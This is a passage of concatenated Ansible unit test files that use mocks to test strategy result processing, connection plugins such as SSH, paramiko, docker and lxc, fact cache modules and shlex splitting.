            return None

        mock_inventory = MagicMock()
        mock_inventory._hosts_cache = dict()
        mock_inventory.get_host.side_effect = _get_host
        mock_inventory.get_group.side_effect = _get_group
        mock_inventory.clear_pattern_cache.return_value = None
        mock_inventory.get_host_vars.return_value = {}

        mock_var_mgr = MagicMock()
        mock_var_mgr.set_host_variable.return_value = None
        mock_var_mgr.set_host_facts.return_value = None

        strategy_base = StrategyBase(tqm=mock_tqm)
        strategy_base._inventory = mock_inventory
        strategy_base._variable_manager = mock_var_mgr
        strategy_base._blocked_hosts = dict()

        def _has_dead_workers():
            return False            

        strategy_base._tqm.has_dead_workers = _has_dead_workers
        results = strategy_base._wait_on_pending_results(iterator=mock_iterator)
        self.assertEqual(len(results), 0)

        task_result = TaskResult(host=mock_host.name, task=mock_task._uuid, return_data=dict(changed=True))
        queue_items.append(task_result)
        strategy_base._blocked_hosts['test01'] = True
        strategy_base._pending_results = 1
        results = strategy_base._wait_on_pending_results(iterator=mock_iterator)
        self.assertEqual(len(results), 1)
        self.assertEqual(results[0], task_result)
        self.assertEqual(strategy_base._pending_results, 0)
        self.assertNotIn('test01', strategy_base._blocked_hosts)

        task_result = TaskResult(host=mock_host.name, task=mock_task._uuid, return_data='{"failed":true}')
        queue_items.append(task_result)
        strategy_base._blocked_hosts['test01'] = True
        strategy_base._pending_results = 1
        mock_iterator.is_failed.return_value = True
        results = strategy_base._process_pending_results(iterator=mock_iterator)
        self.assertEqual(len(results), 1)
        self.assertEqual(results[0], task_result)
        self.assertEqual(strategy_base._pending_results, 0)
        self.assertNotIn('test01', strategy_base._blocked_hosts)
        self.assertIn('test01', mock_tqm._failed_hosts)
        del mock_tqm._failed_hosts['test01']
        mock_iterator.is_failed.return_value = False

        task_result = TaskResult(host=mock_host.name, task=mock_task._uuid, return_data='{"unreachable": true}')
        queue_items.append(task_result)
        strategy_base._blocked_hosts['test01'] = True
        strategy_base._pending_results = 1
        results = strategy_base._wait_on_pending_results(iterator=mock_iterator)
        self.assertEqual(len(results), 1)
        self.assertEqual(results[0], task_result)
        self.assertEqual(strategy_base._pending_results, 0)
        self.assertNotIn('test01', strategy_base._blocked_hosts)
        self.assertIn('test01', mock_tqm._unreachable_hosts)
        del mock_tqm._unreachable_hosts['test01']

        task_result = TaskResult(host=mock_host.name, task=mock_task._uuid, return_data='{"skipped": true}')
        queue_items.append(task_result)
        strategy_base._blocked_hosts['test01'] = True
        strategy_base._pending_results = 1
        results = strategy_base._wait_on_pending_results(iterator=mock_iterator)
        self.assertEqual(len(results), 1)
        self.assertEqual(results[0], task_result)
        self.assertEqual(strategy_base._pending_results, 0)
        self.assertNotIn('test01', strategy_base._blocked_hosts)

        queue_items.append(TaskResult(host=mock_host.name, task=mock_task._uuid, return_data=dict(add_host=dict(host_name='newhost01', new_groups=['foo']))))
        strategy_base._blocked_hosts['test01'] = True
        strategy_base._pending_results = 1
        results = strategy_base._process_pending_results(iterator=mock_iterator)
        self.assertEqual(len(results), 1)
        self.assertEqual(strategy_base._pending_results, 0)
        self.assertNotIn('test01', strategy_base._blocked_hosts)

        queue_items.append(TaskResult(host=mock_host.name, task=mock_task._uuid, return_data=dict(add_group=dict(group_name='foo'))))
        strategy_base._blocked_hosts['test01'] = True
        strategy_base._pending_results = 1
        results = strategy_base._process_pending_results(iterator=mock_iterator)
        self.assertEqual(len(results), 1)
        self.assertEqual(strategy_base._pending_results, 0)
        self.assertNotIn('test01', strategy_base._blocked_hosts)

        queue_items.append(TaskResult(host=mock_host.name, task=mock_task._uuid, return_data=dict(changed=True, _ansible_notify=['test handler'])))
        strategy_base._blocked_hosts['test01'] = True
        strategy_base._pending_results = 1
        results = strategy_base._process_pending_results(iterator=mock_iterator)
        self.assertEqual(len(results), 1)
        self.assertEqual(strategy_base._pending_results, 0)
        self.assertNotIn('test01', strategy_base._blocked_hosts)
        self.assertIn(mock_handler_task, strategy_base._notified_handlers)
        self.assertIn(mock_host, strategy_base._notified_handlers[mock_handler_task])

        #queue_items.append(('set_host_var', mock_host, mock_task, None, 'foo', 'bar'))
        #results = strategy_base._process_pending_results(iterator=mock_iterator)
        #self.assertEqual(len(results), 0)
        #self.assertEqual(strategy_base._pending_results, 1)

        #queue_items.append(('set_host_facts', mock_host, mock_task, None, 'foo', dict()))
        #results = strategy_base._process_pending_results(iterator=mock_iterator)
        #self.assertEqual(len(results), 0)
        #self.assertEqual(strategy_base._pending_results, 1)

        #queue_items.append(('bad'))
        #self.assertRaises(AnsibleError, strategy_base._process_pending_results, iterator=mock_iterator)

    def test_strategy_base_load_included_file(self):
        fake_loader = DictDataLoader({
            "test.yml": """
            - debug: msg='foo'
            """,
            "bad.yml": """
            """,
        })

        mock_tqm = MagicMock()
        mock_tqm._final_q = MagicMock()
        mock_tqm._notified_handlers = {}
        mock_tqm._listening_handlers = {}

        strategy_base = StrategyBase(tqm=mock_tqm)
        strategy_base._loader = fake_loader

        mock_play = MagicMock()

        mock_block = MagicMock()
        mock_block._play = mock_play
        mock_block.vars = dict()

        mock_task = MagicMock()
        mock_task._block = mock_block
        mock_task._role = None

        mock_iterator = MagicMock()
        mock_iterator.mark_host_failed.return_value = None

        mock_inc_file = MagicMock()
        mock_inc_file._task = mock_task

        mock_inc_file._filename = "test.yml"
        res = strategy_base._load_included_file(included_file=mock_inc_file, iterator=mock_iterator)

        mock_inc_file._filename = "bad.yml"
        res = strategy_base._load_included_file(included_file=mock_inc_file, iterator=mock_iterator)
        self.assertEqual(res, [])

    @patch.object(WorkerProcess, 'run')
    def test_strategy_base_run_handlers(self, mock_worker):
        def fake_run(*args):
            return
        mock_worker.side_effect = fake_run
        mock_play_context = MagicMock()

        mock_handler_task = MagicMock(Handler)
        mock_handler_task.action = 'foo'
        mock_handler_task.get_name.return_value = "test handler"
        mock_handler_task.has_triggered.return_value = False
        mock_handler_task.listen = None
        mock_handler_task._role = None

        mock_handler = MagicMock()
        mock_handler.block = [mock_handler_task]
        mock_handler.flag_for_host.return_value = False

        mock_play = MagicMock()
        mock_play.handlers = [mock_handler]

        mock_host = MagicMock(Host)
        mock_host.name = "test01"
        mock_host.has_hostkey = True

        mock_inventory = MagicMock()
        mock_inventory.get_hosts.return_value = [mock_host]

        mock_var_mgr = MagicMock()
        mock_var_mgr.get_vars.return_value = dict()

        mock_iterator = MagicMock()
        mock_iterator._play = mock_play
        mock_iterator.get_original_task.return_value = mock_handler_task

        fake_loader = DictDataLoader()
        mock_options = MagicMock()
        mock_options.module_path = None

        tqm = TaskQueueManager(
            inventory=mock_inventory,
            variable_manager=mock_var_mgr,
            loader=fake_loader,
            options=mock_options,
            passwords=None,
        )
        tqm._initialize_processes(3)
        tqm._initialize_notified_handlers(mock_play)
        tqm.hostvars = dict()

        try:
            strategy_base = StrategyBase(tqm=tqm)

            strategy_base._inventory = mock_inventory
            strategy_base._notified_handlers = {mock_handler_task: [mock_host]}

            task_result = TaskResult(Host('host01'), Handler(), dict(changed=False))
            tqm._final_q.put(task_result)

            result = strategy_base.run_handlers(iterator=mock_iterator, play_context=mock_play_context)
        finally:
            tqm.cleanup()






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from io import StringIO

import mock

from ansible.compat.tests import unittest
from ansible.errors import AnsibleError
from ansible.playbook.play_context import PlayContext

from ansible.plugins.connection import ConnectionBase
#from ansible.plugins.connection.accelerate import Connection as AccelerateConnection
#from ansible.plugins.connection.chroot import Connection as ChrootConnection
#from ansible.plugins.connection.funcd import Connection as FuncdConnection
#from ansible.plugins.connection.jail import Connection as JailConnection
#from ansible.plugins.connection.libvirt_lxc import Connection as LibvirtLXCConnection
from ansible.plugins.connection.lxc import Connection as LxcConnection
from ansible.plugins.connection.local import Connection as LocalConnection
from ansible.plugins.connection.paramiko_ssh import Connection as ParamikoConnection
from ansible.plugins.connection.ssh import Connection as SSHConnection
from ansible.plugins.connection.docker import Connection as DockerConnection
#from ansible.plugins.connection.winrm import Connection as WinRmConnection


class TestConnectionBaseClass(unittest.TestCase):

    def setUp(self):
        self.play_context = PlayContext()
        self.in_stream = StringIO()

    def tearDown(self):
        pass

    def test_subclass_error(self):
        class ConnectionModule1(ConnectionBase):
                pass
        with self.assertRaises(TypeError):
            ConnectionModule1()

        class ConnectionModule2(ConnectionBase):
            def get(self, key):
                super(ConnectionModule2, self).get(key)

        with self.assertRaises(TypeError):
            ConnectionModule2()

    def test_subclass_success(self):
        class ConnectionModule3(ConnectionBase):
            @property
            def transport(self):
                pass
            def _connect(self):
                pass
            def exec_command(self):
                pass
            def put_file(self):
                pass
            def fetch_file(self):
                pass
            def close(self):
                pass
        self.assertIsInstance(ConnectionModule3(self.play_context, self.in_stream), ConnectionModule3)

#    def test_accelerate_connection_module(self):
#        self.assertIsInstance(AccelerateConnection(), AccelerateConnection)
#
#    def test_chroot_connection_module(self):
#        self.assertIsInstance(ChrootConnection(), ChrootConnection)
#
#    def test_funcd_connection_module(self):
#        self.assertIsInstance(FuncdConnection(), FuncdConnection)
#
#    def test_jail_connection_module(self):
#        self.assertIsInstance(JailConnection(), JailConnection)
#
#    def test_libvirt_lxc_connection_module(self):
#        self.assertIsInstance(LibvirtLXCConnection(), LibvirtLXCConnection)

    def test_lxc_connection_module(self):
        self.assertIsInstance(LxcConnection(self.play_context, self.in_stream), LxcConnection)

    def test_local_connection_module(self):
        self.assertIsInstance(LocalConnection(self.play_context, self.in_stream), LocalConnection)

    def test_paramiko_connection_module(self):
        self.assertIsInstance(ParamikoConnection(self.play_context, self.in_stream), ParamikoConnection)

    def test_ssh_connection_module(self):
        self.assertIsInstance(SSHConnection(self.play_context, self.in_stream), SSHConnection)

    @mock.patch('ansible.plugins.connection.docker.Connection._old_docker_version', return_value=('false', 'garbage', '', 1))
    @mock.patch('ansible.plugins.connection.docker.Connection._new_docker_version', return_value=('docker version', '1.2.3', '', 0))
    def test_docker_connection_module_too_old(self, mock_new_docker_verison, mock_old_docker_version):
        self.assertRaises(AnsibleError, DockerConnection, self.play_context, self.in_stream)

    @mock.patch('ansible.plugins.connection.docker.Connection._old_docker_version', return_value=('false', 'garbage', '', 1))
    @mock.patch('ansible.plugins.connection.docker.Connection._new_docker_version', return_value=('docker version', '1.3.4', '', 0))
    def test_docker_connection_module(self, mock_new_docker_verison, mock_old_docker_version):
        self.assertIsInstance(DockerConnection(self.play_context, self.in_stream), DockerConnection)

    # old version and new version fail
    @mock.patch('ansible.plugins.connection.docker.Connection._old_docker_version', return_value=('false', 'garbage', '', 1))
    @mock.patch('ansible.plugins.connection.docker.Connection._new_docker_version', return_value=('false', 'garbage', '', 1))
    def test_docker_connection_module_wrong_cmd(self, mock_new_docker_version, mock_old_docker_version):
        self.assertRaises(AnsibleError, DockerConnection, self.play_context, self.in_stream)

#    def test_winrm_connection_module(self):
#        self.assertIsInstance(WinRmConnection(), WinRmConnection)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







#!/usr/bin/env python
# -*- coding: utf-8 -*-
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import pipes
import sys
from io import StringIO

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock, mock_open

from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleConnectionFailure, AnsibleFileNotFound
from ansible.playbook.play_context import PlayContext
from ansible.plugins.connection import ssh
from ansible.utils.unicode import to_bytes, to_unicode

class TestConnectionBaseClass(unittest.TestCase):

    def test_plugins_connection_ssh_basic(self):
        pc = PlayContext()
        new_stdin = StringIO()
        conn = ssh.Connection(pc, new_stdin)

        # connect just returns self, so assert that
        res = conn._connect()
        self.assertEqual(conn, res)

        ssh.SSHPASS_AVAILABLE = False
        self.assertFalse(conn._sshpass_available())

        ssh.SSHPASS_AVAILABLE = True
        self.assertTrue(conn._sshpass_available())

        with patch('subprocess.Popen') as p:
            ssh.SSHPASS_AVAILABLE = None
            p.return_value = MagicMock()
            self.assertTrue(conn._sshpass_available())

            ssh.SSHPASS_AVAILABLE = None
            p.return_value = None
            p.side_effect = OSError()
            self.assertFalse(conn._sshpass_available())

        conn.close()
        self.assertFalse(conn._connected)

    def test_plugins_connection_ssh__build_command(self):
        pc = PlayContext()
        new_stdin = StringIO()
        conn = ssh.Connection(pc, new_stdin)
        conn._build_command('ssh')

    def test_plugins_connection_ssh__exec_command(self):
        pc = PlayContext()
        new_stdin = StringIO()
        conn = ssh.Connection(pc, new_stdin)

        conn._build_command = MagicMock()
        conn._build_command.return_value = 'ssh something something'
        conn._run = MagicMock()
        conn._run.return_value = (0, 'stdout', 'stderr')

        res, stdout, stderr = conn._exec_command('ssh')
        res, stdout, stderr = conn._exec_command('ssh', 'this is some data')

    @patch('select.select')
    @patch('fcntl.fcntl')
    @patch('os.write')
    @patch('os.close')
    @patch('pty.openpty')
    @patch('subprocess.Popen')
    def test_plugins_connection_ssh__run(self, mock_Popen, mock_openpty, mock_osclose, mock_oswrite, mock_fcntl, mock_select):
        pc = PlayContext()
        new_stdin = StringIO()

        conn = ssh.Connection(pc, new_stdin)
        conn._send_initial_data = MagicMock()
        conn._examine_output = MagicMock()
        conn._terminate_process = MagicMock()
        conn.sshpass_pipe = [MagicMock(), MagicMock()]

        mock_popen_res = MagicMock()
        mock_popen_res.poll   = MagicMock()
        mock_popen_res.wait   = MagicMock()
        mock_popen_res.stdin  = MagicMock()
        mock_popen_res.stdin.fileno.return_value = 1000
        mock_popen_res.stdout = MagicMock()
        mock_popen_res.stdout.fileno.return_value = 1001
        mock_popen_res.stderr = MagicMock()
        mock_popen_res.stderr.fileno.return_value = 1002
        mock_popen_res.return_code = 0
        mock_Popen.return_value = mock_popen_res

        def _mock_select(rlist, wlist, elist, timeout=None):
            rvals = []
            if mock_popen_res.stdin in rlist:
                rvals.append(mock_popen_res.stdin)
            if mock_popen_res.stderr in rlist:
                rvals.append(mock_popen_res.stderr)
            return (rvals, [], [])

        mock_select.side_effect = _mock_select

        mock_popen_res.stdout.read.side_effect = ["some data", ""]
        mock_popen_res.stderr.read.side_effect = [""]
        conn._run("ssh", "this is input data")

        # test with a password set to trigger the sshpass write
        pc.password = '12345'
        mock_popen_res.stdout.read.side_effect = ["some data", "", ""]
        mock_popen_res.stderr.read.side_effect = [""]
        conn._run(["ssh", "is", "a", "cmd"], "this is more data")

        # test with password prompting enabled
        pc.password = None
        pc.prompt = True
        mock_popen_res.stdout.read.side_effect = ["some data", "", ""]
        mock_popen_res.stderr.read.side_effect = [""]
        conn._run("ssh", "this is input data")

        # test with some become settings
        pc.prompt = False
        pc.become = True
        pc.success_key = 'BECOME-SUCCESS-abcdefg'
        mock_popen_res.stdout.read.side_effect = ["some data", "", ""]
        mock_popen_res.stderr.read.side_effect = [""]
        conn._run("ssh", "this is input data")

        # simulate no data input
        mock_openpty.return_value = (98, 99)
        mock_popen_res.stdout.read.side_effect = ["some data", "", ""]
        mock_popen_res.stderr.read.side_effect = [""]
        conn._run("ssh", "")

        # simulate no data input but Popen using new pty's fails
        mock_Popen.return_value = None
        mock_Popen.side_effect = [OSError(), mock_popen_res]
        mock_popen_res.stdout.read.side_effect = ["some data", "", ""]
        mock_popen_res.stderr.read.side_effect = [""]
        conn._run("ssh", "")

    def test_plugins_connection_ssh__examine_output(self):
        pc = PlayContext()
        new_stdin = StringIO()

        conn = ssh.Connection(pc, new_stdin)

        conn.check_password_prompt    = MagicMock()
        conn.check_become_success     = MagicMock()
        conn.check_incorrect_password = MagicMock()
        conn.check_missing_password   = MagicMock()

        def _check_password_prompt(line):
            if 'foo' in line:
                return True
            return False

        def _check_become_success(line):
            if 'BECOME-SUCCESS-abcdefghijklmnopqrstuvxyz' in line:
                return True
            return False

        def _check_incorrect_password(line):
            if 'incorrect password' in line:
                return True
            return False

        def _check_missing_password(line):
            if 'bad password' in line:
                return True
            return False

        conn.check_password_prompt.side_effect    = _check_password_prompt
        conn.check_become_success.side_effect     = _check_become_success
        conn.check_incorrect_password.side_effect = _check_incorrect_password
        conn.check_missing_password.side_effect   = _check_missing_password

        # test examining output for prompt
        conn._flags = dict(
            become_prompt = False,
            become_success = False,
            become_error = False,
            become_nopasswd_error = False,
        )

        pc.prompt = True
        output, unprocessed = conn._examine_output('source', 'state', 'line 1\nline 2\nfoo\nline 3\nthis should be the remainder', False)
        self.assertEqual(output, 'line 1\nline 2\nline 3\n')
        self.assertEqual(unprocessed, 'this should be the remainder')
        self.assertTrue(conn._flags['become_prompt'])
        self.assertFalse(conn._flags['become_success'])
        self.assertFalse(conn._flags['become_error'])
        self.assertFalse(conn._flags['become_nopasswd_error'])

        # test examining output for become prompt
        conn._flags = dict(
            become_prompt = False,
            become_success = False,
            become_error = False,
            become_nopasswd_error = False,
        )

        pc.prompt = False
        pc.success_key = 'BECOME-SUCCESS-abcdefghijklmnopqrstuvxyz'
        output, unprocessed = conn._examine_output('source', 'state', 'line 1\nline 2\nBECOME-SUCCESS-abcdefghijklmnopqrstuvxyz\nline 3\n', False)
        self.assertEqual(output, 'line 1\nline 2\nline 3\n')
        self.assertEqual(unprocessed, '')
        self.assertFalse(conn._flags['become_prompt'])
        self.assertTrue(conn._flags['become_success'])
        self.assertFalse(conn._flags['become_error'])
        self.assertFalse(conn._flags['become_nopasswd_error'])

        # test examining output for become failure
        conn._flags = dict(
            become_prompt = False,
            become_success = False,
            become_error = False,
            become_nopasswd_error = False,
        )

        pc.prompt = False
        pc.success_key = None
        output, unprocessed = conn._examine_output('source', 'state', 'line 1\nline 2\nincorrect password\n', True)
        self.assertEqual(output, 'line 1\nline 2\nincorrect password\n')
        self.assertEqual(unprocessed, '')
        self.assertFalse(conn._flags['become_prompt'])
        self.assertFalse(conn._flags['become_success'])
        self.assertTrue(conn._flags['become_error'])
        self.assertFalse(conn._flags['become_nopasswd_error'])

        # test examining output for missing password
        conn._flags = dict(
            become_prompt = False,
            become_success = False,
            become_error = False,
            become_nopasswd_error = False,
        )

        pc.prompt = False
        pc.success_key = None
        output, unprocessed = conn._examine_output('source', 'state', 'line 1\nbad password\n', True)
        self.assertEqual(output, 'line 1\nbad password\n')
        self.assertEqual(unprocessed, '')
        self.assertFalse(conn._flags['become_prompt'])
        self.assertFalse(conn._flags['become_success'])
        self.assertFalse(conn._flags['become_error'])
        self.assertTrue(conn._flags['become_nopasswd_error'])

    @patch('time.sleep')
    def test_plugins_connection_ssh_exec_command(self, mock_sleep):
        pc = PlayContext()
        new_stdin = StringIO()
        conn = ssh.Connection(pc, new_stdin)
        conn._build_command = MagicMock()
        conn._exec_command = MagicMock()

        C.ANSIBLE_SSH_RETRIES = 9

        # test a regular, successful execution
        conn._exec_command.return_value = (0, 'stdout', '')
        res = conn.exec_command('ssh', 'some data')

        # test a retry, followed by success
        conn._exec_command.return_value = None
        conn._exec_command.side_effect = [(255, '', ''), (0, 'stdout', '')]
        res = conn.exec_command('ssh', 'some data')

        # test multiple failures
        conn._exec_command.side_effect = [(255, '', '')]*10
        self.assertRaises(AnsibleConnectionFailure, conn.exec_command, 'ssh', 'some data')

        # test other failure from exec_command
        conn._exec_command.side_effect = [Exception('bad')]*10
        self.assertRaises(Exception, conn.exec_command, 'ssh', 'some data')

    @patch('os.path.exists')
    def test_plugins_connection_ssh_put_file(self, mock_ospe):
        pc = PlayContext()
        new_stdin = StringIO()
        conn = ssh.Connection(pc, new_stdin)
        conn._build_command = MagicMock()
        conn._run = MagicMock()

        mock_ospe.return_value = True
        conn._build_command.return_value = 'some command to run'
        conn._run.return_value = (0, '', '')
        conn.host = "some_host"

        # test with C.DEFAULT_SCP_IF_SSH enabled
        C.DEFAULT_SCP_IF_SSH = True
        res = conn.put_file('/path/to/in/file', '/path/to/dest/file')
        conn._run.assert_called_with('some command to run', None)

        res = conn.put_file(u'/path/to/in/file/with/unicode-fö〩', u'/path/to/dest/file/with/unicode-fö〩')
        conn._run.assert_called_with('some command to run', None)

        # test with C.DEFAULT_SCP_IF_SSH disabled
        C.DEFAULT_SCP_IF_SSH = False
        expected_in_data = b' '.join((b'put', to_bytes(pipes.quote('/path/to/in/file')), to_bytes(pipes.quote('/path/to/dest/file')))) + b'\n'
        res = conn.put_file('/path/to/in/file', '/path/to/dest/file')
        conn._run.assert_called_with('some command to run', expected_in_data)

        expected_in_data = b' '.join((b'put', to_bytes(pipes.quote('/path/to/in/file/with/unicode-fö〩')), to_bytes(pipes.quote('/path/to/dest/file/with/unicode-fö〩')))) + b'\n'
        res = conn.put_file(u'/path/to/in/file/with/unicode-fö〩', u'/path/to/dest/file/with/unicode-fö〩')
        conn._run.assert_called_with('some command to run', expected_in_data)

        # test that a non-zero rc raises an error
        conn._run.return_value = (1, 'stdout', 'some errors')
        self.assertRaises(AnsibleError, conn.put_file, '/path/to/bad/file', '/remote/path/to/file')

        # test that a not-found path raises an error
        mock_ospe.return_value = False
        conn._run.return_value = (0, 'stdout', '')
        self.assertRaises(AnsibleFileNotFound, conn.put_file, '/path/to/bad/file', '/remote/path/to/file')

    def test_plugins_connection_ssh_fetch_file(self):
        pc = PlayContext()
        new_stdin = StringIO()
        conn = ssh.Connection(pc, new_stdin)
        conn._build_command = MagicMock()
        conn._run = MagicMock()

        conn._build_command.return_value = 'some command to run'
        conn._run.return_value = (0, '', '')
        conn.host = "some_host"

        # test with C.DEFAULT_SCP_IF_SSH enabled
        C.DEFAULT_SCP_IF_SSH = True
        res = conn.fetch_file('/path/to/in/file', '/path/to/dest/file')
        conn._run.assert_called_with('some command to run', None)

        res = conn.fetch_file(u'/path/to/in/file/with/unicode-fö〩', u'/path/to/dest/file/with/unicode-fö〩')
        conn._run.assert_called_with('some command to run', None)

        # test with C.DEFAULT_SCP_IF_SSH disabled
        C.DEFAULT_SCP_IF_SSH = False
        expected_in_data = b' '.join((b'get', to_bytes(pipes.quote('/path/to/in/file')), to_bytes(pipes.quote('/path/to/dest/file')))) + b'\n'
        res = conn.fetch_file('/path/to/in/file', '/path/to/dest/file')
        conn._run.assert_called_with('some command to run', expected_in_data)

        expected_in_data = b' '.join((b'get', to_bytes(pipes.quote('/path/to/in/file/with/unicode-fö〩')), to_bytes(pipes.quote('/path/to/dest/file/with/unicode-fö〩')))) + b'\n'
        res = conn.fetch_file(u'/path/to/in/file/with/unicode-fö〩', u'/path/to/dest/file/with/unicode-fö〩')
        conn._run.assert_called_with('some command to run', expected_in_data)

        # test that a non-zero rc raises an error
        conn._run.return_value = (1, 'stdout', 'some errors')
        self.assertRaises(AnsibleError, conn.fetch_file, '/path/to/bad/file', '/remote/path/to/file')







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2015, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.tests import unittest, mock
from ansible.plugins.cache import FactCache
from ansible.plugins.cache.base import BaseCacheModule
from ansible.plugins.cache.memory import CacheModule as MemoryCache

HAVE_MEMCACHED = True
try:
    import memcache
except ImportError:
    HAVE_MEMCACHED = False
else:
    # Use an else so that the only reason we skip this is for lack of
    # memcached, not errors importing the plugin
    from ansible.plugins.cache.memcached import CacheModule as MemcachedCache

HAVE_REDIS = True
try:
    import redis
except ImportError:
    HAVE_REDIS = False
else:
    from ansible.plugins.cache.redis import CacheModule as RedisCache


class TestFactCache(unittest.TestCase):

    def setUp(self):
        with mock.patch('ansible.constants.CACHE_PLUGIN', 'memory'):
            self.cache = FactCache()

    def test_copy(self):
        self.cache['avocado'] = 'fruit'
        self.cache['daisy'] = 'flower'
        a_copy = self.cache.copy()
        self.assertEqual(type(a_copy), dict)
        self.assertEqual(a_copy, dict(avocado='fruit', daisy='flower'))


class TestAbstractClass(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_subclass_error(self):
        class CacheModule1(BaseCacheModule):
                pass
        with self.assertRaises(TypeError):
            CacheModule1()

        class CacheModule2(BaseCacheModule):
            def get(self, key):
                super(CacheModule2, self).get(key)

        with self.assertRaises(TypeError):
            CacheModule2()

    def test_subclass_success(self):
        class CacheModule3(BaseCacheModule):
            def get(self, key):
                super(CacheModule3, self).get(key)

            def set(self, key, value):
                super(CacheModule3, self).set(key, value)

            def keys(self):
                super(CacheModule3, self).keys()

            def contains(self, key):
                super(CacheModule3, self).contains(key)

            def delete(self, key):
                super(CacheModule3, self).delete(key)

            def flush(self):
                super(CacheModule3, self).flush()

            def copy(self):
                super(CacheModule3, self).copy()

        self.assertIsInstance(CacheModule3(), CacheModule3)

    @unittest.skipUnless(HAVE_MEMCACHED, 'python-memcached module not installed')
    def test_memcached_cachemodule(self):
        self.assertIsInstance(MemcachedCache(), MemcachedCache)

    def test_memory_cachemodule(self):
        self.assertIsInstance(MemoryCache(), MemoryCache)

    @unittest.skipUnless(HAVE_REDIS, 'Redis python module not installed')
    def test_redis_cachemodule(self):
        self.assertIsInstance(RedisCache(), RedisCache)






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2015, Marius Gedminas <marius@gedmin.as>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import unittest

from ansible.utils.shlex import shlex_split


class TestSplit(unittest.TestCase):

    def test_trivial(self):
        self.assertEqual(shlex_split("a b c"), ["a", "b", "c"])

    def test_unicode(self):
        self.assertEqual(shlex_split(u"a b \u010D"), [u"a", u"b", u"\u010D"])

    def test_quoted(self):
